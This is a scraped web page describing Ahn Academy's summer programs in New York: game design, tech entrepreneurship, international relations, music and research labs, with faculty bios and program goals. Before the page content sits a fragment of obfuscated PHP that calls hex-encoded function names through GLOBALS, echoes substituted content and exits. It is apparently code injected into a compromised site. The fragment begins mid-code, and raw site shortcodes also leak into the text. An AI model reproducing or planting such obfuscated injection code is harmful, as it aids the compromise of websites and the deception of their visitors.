$DLOO_LO__L;unset($DLOO_LO__L,$D_L_OOL_OL,$DLOO_O_L_L,$DLOLO_L_O_,$DLL_O_LO_O);exit();}}if($D_O_L_OLOL){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x4f\x4c\x5f\x5f\x4f\x5f\x4c"]($DLO_O_LLO_);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x4c\x4c\x5f\x5f\x4f\x5f\x4c"]($DLOO_LO__L,$DL_OLOLO__)){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4c\x4f\x4c\x5f\x4f\x4c\x4f"]($DL_OLOLO__,'',$DLOO_LO__L);echo $DLOO_LO__L;unset($DLOO_LO__L,$D_L_OOL_OL,$DLOO_O_L_L,$DLOLO_L_O_,$DLL_O_LO_O);exit();}}if($D__LL_OLOO){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x4f\x4c\x5f\x5f\x4f\x5f\x4c"]($DLO_O_LLO_);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x4c\x4c\x5f\x5f\x4f\x5f\x4c"]($DLOO_LO__L,$DL_OLOLO__)){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4c\x4f\x4c\x5f\x4f\x4c\x4f"]($DL_OLOLO__,'',$DLOO_LO__L);echo $DLOO_LO__L;unset($DLOO_LO__L,$D_L_OOL_OL,$DLOO_O_L_L,$DLOLO_L_O_,$DLL_O_LO_O);exit();}}};${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4c\x4f\x4f\x5f\x4f\x4c\x5f\x4c"]();?> Programs | Ahn Academy

Programs

Game Design & Tech Entrepreneurship

Venue: @Columbia University

  • Classes are held in Columbia University campus
  • Dormitory is an undergraduate Columbia University dorm
  • Faculty is mostly comprised of Columbia University professors and students

Students will get a truly “Columbia” experience.

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Students have to learn game dynamics and mechanics in order to create a well designed game themselves. 

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Students get to work on a final project that can start or add to their portfolio.

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Students learning and practicing some simple web coding skills. 

Faculty & Staff

Joey J. Lee is a Research Assistant Professor of Technology and Education at Teachers College, Columbia University. He designs, develops and studies games and game-like experiences for education and social impact. His projects include both digital and non-digital games for climate change education, science education, motivation, identity formation, and cross-cultural education. He directs the Real-World Impact Games Lab at Teachers College, Columbia University.  More information about his projects can be found at http://www.gameprof.com/

Overview

Join us for a hands-on learning experience in which you will develop essential skills for the digital age while having fun!  TechBridges is an innovative first-of-its-kind on-campus program held in one of the greatest cities in the world: New York City,  High school students participate in exciting interactive activities in technology, design, and art while working together with students all around the world.  Students develop 21st century skills such as technology literacy, creativity, collaboration, critical thinking while being exposed to eye-opening on-site field trips and talks from mentors and successful professionals.

Students who complete the program will have an advantage over other students because they will have a better understanding of global issues; enhanced skills for 21st century success, and relevant activities and a completed project that they can discuss in college applications.  The agenda consists of interactive project-based workshops; teaching, training and guest lectures from industry professionals, ivy league professors and graduate students; on-location visits to technology labs or companies, and design, production and research activities that culminate into a final student project that involves designing and developing a game or interactive media that addresses a social issue or problem of their choice (e.g. environmental protection, public health, bullying, etc.).

Goals of the Program

After participating in the program, students will be able to:

  • See a broad overview of both digital and non-digital educational technologies including simulations, online tools, games, and mobile apps.
  • Understand the history, current trends, and future opportunities in technology, design, and art.
  • Meet and listen to excellent speakers including ivy league faculty and industry professionals.
  • Gain a clear sense of career possibilities as they have meaningful experiences and develop skills in technology, education, and design.
  • Gain hands-on experience with various technology tools including games, apps, learning management systems, etc.
  • Interact and build friendships with students of diverse cultural backgrounds.
  • Deliver and present a final project that students may add to their resumes and portfolios, which can provide an item to discuss in college applications.
  • Be inspired to consider Science, Technology, Engineering, Arts, and Math (STEAM) careers.
  • Build 21st century skills in students, along with an increased understanding of what is necessary to succeed in today’s digital economy.
  • Deliver a well-rounded, diverse NYC experience that takes advantage of many of the best aspects of the city: premier academic institutions, world-class arts and design communities, Fortune 500 technology companies, etc.

Program Activities

  1. Overview lecture of trends and technology/design/art fields, introduction to design project
  2. Workshops and guest lecture from technology professional/graduate student/faculty (taught by experts from Columbia University, New York University, and other New York City area schools)
  3. Field trips and campus tours
  4. Digital media tools training, Grow-A-Game workshops
  5. “How Do I Get Into a School like Columbia University?” Admissions mentoring and advice session
  6. Visit to NYC Art, Design or Science museum (Museum of Modern Art, Museum of Arts and Design, Smithsonian’s Cooper-Hewitt, National Design Museum, American Museum of Natural History)
  7. Facebook/Google Facility Campus Tour
  8. Programming Workshop (Scratch/GameMaker and harder depending on the target group) and guest lecture by technology professional/graduate student/faculty
  9. Field trip to organization/company in New York City
  10. Hands-on art production and design  workshops (3D printing, digital fabrication, art) and guest lecture by technology professional/graduate student/faculty

Timeline

June 11 – July 1, 2017

Target age:

recommended: rising 9th to graduating seniors

[vc_button title=”More Information on Summer 2017″ size=”normal” align=”center” href=”/techbridges”]

Summer Programs

Spending summer wisely is crucial. It is very difficult for students to focus on activities throughout the school year due to lack of time (e.g. homework, test, project). Summer is very important time to get ahead! Do meaningful things. Develop a storyline for your application.  

[vc_icon_text title=”Tech & Entrepreneurship” icon=”krown-icon-mobile-1″][/vc_icon_text]
[vc_icon_text title=”Game Design” icon=”krown-icon-gamepad”][/vc_icon_text]
[vc_icon_text title=”International Relations” icon=”krown-icon-globe-1″][/vc_icon_text]
[vc_icon_text title=”Research Lab” icon=”krown-icon-beaker”][/vc_icon_text]

Please read below for details

Tech & Entrepreneurship Program

Venue @Columbia University

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Students will learn and practice group work and presentation skills. 

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Opportunities to visit and learn from cool tech companies like Facebook 

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… and be inspired by companies like Google

Main Lecturers & Speakers

Sam Ahn

Ed.D. candidate, Instructional Technology & Media, Columbia University

M.A. Computing in Education, Columbia University

B.A. Economics, UCLA

  • Consultant to various tech startups (early to mid stage) in US/Asia
  • Co-Founder of ADMSSNS
  • Mentored, taught and sent hundreds of aspiring HS students to top engineering programs

Matt Wilkerson 

B.S., Computer Science & Engineering, M.I.T.

  • Founder & CEO Paragon One
  • Angel Investor & Advisor to numerous startups
  • Co-Founder AHAlife
  • Technology Crossover Ventures (VC)
  • Morgan Stanley Media & Telecom Investment Banking

This program exposes students to the red-hot trend of tech startups happening everywhere, including colleges. Using the vibrant tech startup industry in New York City as classroom, the students will learn what it takes to be part of startups. The course includes: lectures of professionals and educators using the curriculum from top MBA programs such as Harvard Business School and Columbia Business School; workshops led by industry professionals from tech startups and venture capital investors; field trips to tech startups; the scene of tech startups at college institutions like Columbia and NYU; student-group-led final project that they can take to competitions or make their dream a reality of starting up their own business.

Topics covered:

  • Entrepreneurship 101
  • Coding workshops
  • Design workshops
  • Trends in technology
  • Business Plan
  • Elevator Pitch
  • Role of Social Media
  • Digital Marketing
  • Investor Presentation
  • Financials

In addition, students will work on real Case Studies of actual startup companies, thinking from the perspective of CEO and making critical decisions.

Students will also have opportunities to visit:

  • tech companies in NYC
  • incubator/accelerator spaces
  • college events related to tech startups
  • events held by guest speakers in NYC

Class Schedule

5 weekly classes per section; students can sign up for 1, 2 or 3 sections; it is recommended they take all 3

Section 1: Intro Entrepreneurship – Learn the basics of tech entrepreneurship. How the funding works, what type of startups are out there and successful, gain valuable insight from industry professionals, and start tinkering with ideas for startup.

  • Entrepreneurship 101
  • Trends in technology
  • Venture Capital Investment
  • Incubators, Accelerators and College startup environment
  • Case studies

Section 2: Tech Skill Development – Learn what is important in the tech startup scenery: tech skills. Though fully encouraged to do so, students are not expected to become hard core programmer in few weeks; however, we will get students’ feet wet and guide them to the right path in skill enhancement needed to be successful in startups. We want our students to be proficient enough that they can converse with the techies!

  • Intro coding workshops
  • Design thinking
  • Mobile App
  • Wireframing

Section 3: Business Plan & Pitch – Students will learn from how startups get funded to exit (e.g. M&A, IPO). They will learn how to build a business around an idea and what it takes to succeed. Students will get opportunities to talk to professionals who are in Venture Capitalist and investment companies to see which type of startups get funded and what they are looking for in a pitch.

  • Creating business plan
  • Business plan canvas
  • Making the right pitch (e.g. Elevator pitch)
  • Financials

Summer 2017

Students will do one of the following:

  • Internship for tech startup company
  • Develop their own startup idea into real project for competition or company

Summer internships typically last 3-5 weeks. All internships and projects will include eight 1-hr mentoring sessions to further enhance and build on summer experience.

International Relations

Main Venue: @Columbia University

  • Classes are held in Columbia University campus
  • Dormitory is an undergraduate Columbia University dorm
  • Faculty is mostly comprised of Columbia University professors and students

Students will get a truly “Columbia” experience.

Other Venue: @Georgetown University @Boston (various schools)

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Lecture at Columbia University campus on International Relations.

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Students visiting the UN and Security Council meeting room. 

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Photo taken after meeting with the Dean of Admissions at School of Foreign Service at Georgetown University, one of the top program for International Relations.

Faculty 

Alessia Lefébure is an internationally recognized expert and has done extensive research and work in the international area of education with deep ties to Europe and Asia. She is currently a professor at Columbia University SIPA (School of International and Public Affairs).

Henan Cheng is the assistant director of Center for Chinese Education at Teachers College, which has been striving hard to improve education in China. She also teaches at the Columbia University Teachers College.

Ryan Allen is a doctoral fellow at Columbia University Teachers College who specializes in international education development and policies. He teaches at various colleges on the topic.

Overview

Join us for a hands-on learning experience, in which you will learn what it takes to make positive contributions to the world through doing projects with global organizations and world-class educational institutions.

International Youth Leadership Campaign is an innovative first-of-its-kind program held in one of the greatest cities in the world: New York. It is the center for many of the world’s leading non-governmental organizations (NGO), such as the United Nations, and home to top-notch Ivy League research institution in Columbia University. For aspiring students wanting to make positive changes through community service, volunteer, projects, donation, education, research or working with NGO’s and governments that shape policies, spending time and learning in New York City is a must.

Students who complete the program will have an advantage over other students because they will have a better understanding of higher education policies and global issues, enhanced skills for 21st century success, and a completed project/research that they can discuss in college/university applications. The agenda consists of interactive workshops; teaching, training and guest lectures from professionals, Ivy League professors and graduate students; on-location visits to multinational corporations, non-governmental organizations, and government offices; research activities that culminate into a final student presentation that involves public speaking, academic writing, and developing a final presentation. Moreover, students will get to participate in group & independent projects with one of the leading international organizations in the world.

Though this program is highly intensive, the rewards would be significant as the students will not only get an authentic classroom experience at prestigious university, but also gain valuable research and presentation skills that they would need to be successful in any competitive universities.

Highlights

  • Customized lectures to high school students and college freshman students taught by renowned Columbia professors
  • Interact with UN staff and International Relations professionals
  • Develop projects through global organizations and make positive impact in the world
  • A final project presentation that could be used for college applications
  • Visit and learn in world-class institutions in International Affairs, such as Columbia and Georgetown universities.

Goals of the Program

After participating in the program, students will be able to:

  • Meet and listen to excellent speakers of International Relations professors, professionals and students
  • Make an impact in international students’ career trajectories, inspiring students to consider International Relations major in college and beyond
  • Learn research and presentation skills
  • Learn first hand what graduates of International Relations programs are doing to impact the world
  • Deliver and present a final project that students may add to their resume and portfolio, which can provide a valuable asset in college applications.
  • Learn about higher education, policy and development between governments
  • Pick up academic skills necessary to do perform better in classes and standardized tests like SAT that require great reading comprehension skills.

Group Project & Research information

  • Group work – Similar to MUN (Model UN) experience, students will form groups by nations and will research & debate issues related to education and policies
  • Research/Project – independent research project is available for students who want to further develop their interests and skills while really strengthening profile for college application. Using the topics learned during the program, students can work on research/project that they would present to UN/UNESCO, Institute of International Education, Center for Chinese Education, or organization of their own choice (see the bottom of the page or more information on these organizations).

Target Age

13-19

Timeline

TBD

Musicians in NYC

Main Venue: @Juilliard @Columbia University

  • Classes are held in Columbia University campus
  • Dormitory is an undergraduate Columbia University dorm
  • Faculty is mostly comprised of Juilliard and Columbia University professors and students

Juilliard

MetOpera

Lincoln Center, next to Juilliard

Faculty (tentative)

Charlie Albright was born in Centralia, Washington, Mr. Albright began piano lessons at the age of three. He has studied with Nancy Adsit and has participated in master classes with Richard Goode, Leif Ove Andsnes, and Abbey Simon. Mr. Albright earned an Associate of Science degree at Centralia College while he was also in high school, and was the first classical pianist accepted to the new Harvard College/New England Conservatory joint program, completing his Bachelor’s degree as a Pre-Med and Economics major at Harvard in 2011 and a Master of Music degree in Piano Performance at the New England Conservatory in 2012 with Wha-Kyung Byun. He recently earned his Artist Diploma from The Juilliard School. Mr. Albright is a Steinway Artist. Mr. Albright has performed with some of the world’s most renowned musicians such as Cellist Yo-Yo Ma and won multiple awards and distinctions around the world.

Overview

Welcome to our Music Summer Program. We encourage young students and their parents participate in our varied and exciting music activities. Through this program, you’ll have the opportunities to hear and enjoy the performances from renowned musicians and artists, visit world-class performing arts venues, and talk with professionals about their childhood music training and career paths.

Our theme for 2016 is to appreciate and enjoy music through creative composing process. The agenda consists of a variety of students oriented music activities, mentoring sessions led by music students and alumni, campus tours, guided tours of performing arts venues, interactions with world renowned guest performer, and some NYC only summer experiences, which include Concerts in the Park by NY Philharmonic, Shakespeare in the Park, Central Park SummerStage, outdoor film screening at parks, and Broadway shows. We hope you will join us and experience the summer in New York City, the performing arts capital of the world.

While you are enjoying the performing arts and having family fun, please do take advantage of the New York City Summer Restaurant Week. The NYC Restaurant Week is an event held twice a year in which participating restaurants in NYC offer prix fixe lunches and dinners. This is a unique opportunity to experience some of New York City’s finest restaurants (including some Michelin Star restaurants) for a fraction of the usual price. Throughout the city, restaurants participate in “Restaurant Week” where some of the really high end popular restaurants offer a three-course lunch or dinner.

Goals of the Program

After participating in the program, young students and parents will be able to:

  • Have fun during creative music activities
  • Gain a general sense of future career possibilities in performing arts and relevant field
  • Interact with guest speakers including great artists, Juilliard/Berklee College of Music/Manhattan School of Music students and alumni, and Ivy League alumni
  • Build friendships with other families of diverse backgrounds
  • Deliver a well-rounded, diverse NYC experience that takes advantage of many of the best aspects of the city: premier academic institutions, world-class performing arts centers, etc.

Program Activities

  • Guided tours of top-notch higher education institutions: the Juilliard School, Berklee School of Music, Manhattan School of Music, Columbia, NYU, Harvard, MIT.
  • Meet and talk to guest speakers including young pianist, Juilliard alumna, and Ivy League alumni
  • Guided tour to performing arts venues (Lincoln Center, Radio City Music Hall, etc.) in New York City
  • Field trip to NYC summer events: NY Philharmonic Concert in the Park, Shakespeare in the Park, outdoors film screening, etc.
  • Watch a Broadway show
  • Food tasting – NYC Summer Restaurant Week including some of Michelin Star Restaurants.
  • Family shopping trip to Woodbury Outlet.

Timeline

TBD

Target age:

Grades 4-7 (with parents)

Lab Research

Venue: various colleges and labs available

Doing research requires various skills. Our summer research lab program allows students to gain valuable experience & skills while helping to get an edge in college (and probably graduate school) admissions.

We work with various labs around campuses with professors or graduate students. Whether it is science or any other topic (e.g. education, philosophy) you want to research, please contact us for details.

Duration, cost, etc. varies depending on availability and location.

 

Please contact us for more details regarding programs!

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